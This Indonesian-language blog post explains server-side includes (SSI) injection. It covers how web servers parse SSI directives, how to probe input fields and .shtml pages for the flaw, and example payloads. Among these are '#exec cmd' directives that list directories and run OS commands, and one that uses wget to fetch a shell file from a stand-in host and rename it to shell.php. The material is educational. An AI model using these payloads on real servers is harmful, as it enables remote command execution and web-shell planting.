Pengertian server side includes injection
SSI (server side includes) adalah arahan yang ada pada aplikasi Web yang digunakan untuk memberi makan halaman HTML dengan konten dinamis. Mereka mirip dengan CGI, kecuali bahwa SSI digunakan untuk menjalankan beberapa tindakan sebelum halaman saat ini dimuat atau saat halaman sedang divisualisasikan. Untuk melakukannya, server web menganalisis SSI sebelum memberikan halaman kepada pengguna.
Serangan Server-Side Termasuk memungkinkan eksploitasi aplikasi web dengan menyuntikkan skrip di halaman HTML atau mengeksekusi kode arbitrer dari jarak jauh. Itu dapat dieksploitasi melalui manipulasi SSI yang digunakan dalam aplikasi atau memaksa penggunaannya melalui bidang input pengguna.
Dimungkinkan untuk memeriksa apakah aplikasi memvalidasi data bidang input dengan benar dengan memasukkan karakter yang digunakan dalam arahan SSI, seperti:
< ! # = / . " - > and [a-zA-Z0-9]
Cara lain untuk mengetahui apakah aplikasi tersebut rentan adalah dengan memverifikasi keberadaan halaman dengan ekstensi .stm, .shtm, dan .shtml. Namun, kurangnya jenis halaman ini tidak berarti bahwa aplikasi terlindungi dari serangan SSI.
Bagaimanapun, serangan akan berhasil hanya jika server web mengizinkan eksekusi SSI tanpa validasi yang tepat. Hal ini dapat menyebabkan akses dan manipulasi sistem file dan proses di bawah izin dari pemilik proses server web.
Penyerang dapat mengakses informasi sensitif, seperti file kata sandi, dan menjalankan perintah shell. Arahan SSI disuntikkan di bidang input dan dikirim ke server web. Server web mem-parsing dan mengeksekusi arahan sebelum memasok halaman. Kemudian, hasil serangan akan dapat dilihat saat berikutnya halaman dimuat untuk browser pengguna.
Contoh
Contoh 1
Perintah yang digunakan untuk menyuntikkan SSI bervariasi sesuai dengan sistem operasional server yang digunakan. Perintah berikut mewakili sintaks yang harus digunakan untuk menjalankan perintah OS.
Linux:
Daftar file direktori:
<!--#exec cmd="ls" -->
Akses direktori:
<!--#exec cmd="cd /root/dir/">
Skrip eksekusi:
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->
Jendela:
Daftar file direktori:
<!--#exec cmd="dir" -->
Akses direktori:
<!--#exec cmd="cd C:\admin\dir">
Contoh 2
Contoh SSI lain yang dapat digunakan untuk mengakses dan mengatur informasi server:
Untuk mengubah output pesan kesalahan:
<!--#config errmsg="File not found, informs users and password"-->
Untuk menampilkan nama file dokumen saat ini:
<!--#echo var="DOCUMENT_NAME" -->
Untuk menampilkan jalur virtual dan nama file:
<!--#echo var="DOCUMENT_URI" -->
Dengan menggunakan perintah “config” dan parameter “timefmt”, dimungkinkan untuk mengontrol format keluaran tanggal dan waktu:
<!--#config timefmt="A %B %d %Y %r"-->
Menggunakan perintah "fsize", dimungkinkan untuk mencetak ukuran file yang dipilih:
<!--#fsize file="ssi.shtml" -->
Demikian lah penjelasan tentang server side include, semoga bermanfaat
#ssi #serversideincludes #teamrokes315 #team_rokes_315
Posting Komentar